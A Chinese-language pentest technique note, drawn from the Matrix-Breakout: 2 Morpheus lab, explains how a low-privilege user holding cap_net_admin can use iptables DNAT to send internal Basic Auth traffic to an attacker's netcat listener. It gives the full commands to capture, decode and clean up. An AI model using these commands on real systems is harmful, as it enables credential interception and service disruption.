iptables DNAT 认证流量捕获
当低权限 WebShell 能操作防火墙 / NAT 规则,并且目标机上存在内部服务定时访问某个认证端口时,可以用 DNAT 把流量转发到攻击机监听端口,从请求头中捕获 Basic Auth 等明文凭据。
适用条件
必须同时满足:
| 条件 | 判断方式 |
|---|---|
| 当前用户能改 NAT | getcap、sudo -l、可执行 iptables / xtables-nft-multi |
| 有可捕获流量 | 日志显示内部 IP 周期性访问认证端口 |
| 认证明文可见 | HTTP Basic Auth、无 TLS 的内部 HTTP |
| 攻击机可接收连接 | 靶机能访问 Kali IP 和监听端口 |
确认能力
getcap -r /usr/bin /usr/sbin 2>/dev/null
常见高价值能力:
/usr/sbin/xtables-nft-multi cap_net_admin=ep
确认日志:
tail -n 50 /var/log/nginx/access.log
如果看到内部地址反复访问 Basic Auth 端口,就可以尝试捕获。
攻击机监听
nc -lvnp 1236
添加 DNAT 规则
/usr/sbin/xtables-nft-multi iptables -t nat -A PREROUTING \
-p tcp --dport 81 \
-j DNAT --to-destination 192.168.1.113:1236
查看规则:
/usr/sbin/xtables-nft-multi iptables -t nat -L PREROUTING -n --line-numbers
如果目标已有复杂 Docker NAT 规则,可能需要插到更靠前的位置:
/usr/sbin/xtables-nft-multi iptables -t nat -I PREROUTING 1 \
-p tcp --dport 81 \
-j DNAT --to-destination 192.168.1.113:1236
解码 Basic Auth
监听端收到:
Authorization: Basic Y3lwaGVyOnBhc3N3b3Jk
解码:
echo 'Y3lwaGVyOnBhc3N3b3Jk' | base64 -d
清理规则
/usr/sbin/xtables-nft-multi iptables -t nat -D PREROUTING \
-p tcp --dport 81 \
-j DNAT --to-destination 192.168.1.113:1236
如果用行号删除:
/usr/sbin/xtables-nft-multi iptables -t nat -L PREROUTING -n --line-numbers
/usr/sbin/xtables-nft-multi iptables -t nat -D PREROUTING 1
防坑点
cap_net_admin不是普通 Web 用户该有的能力。- PREROUTING 规则顺序会影响是否命中。
- 目标流量如果走 HTTPS,DNAT 只能捕获 TLS 流,不能直接读 Basic Auth 明文。
- 操作 NAT 会影响服务可用性,授权测试中要记录并清理。
来源案例
- Matrix-Breakout: 2 Morpheus:
www-data可调用带cap_net_admin的xtables-nft-multi,将 81 端口认证流量 DNAT 到 Kali,捕获cypher明文密码。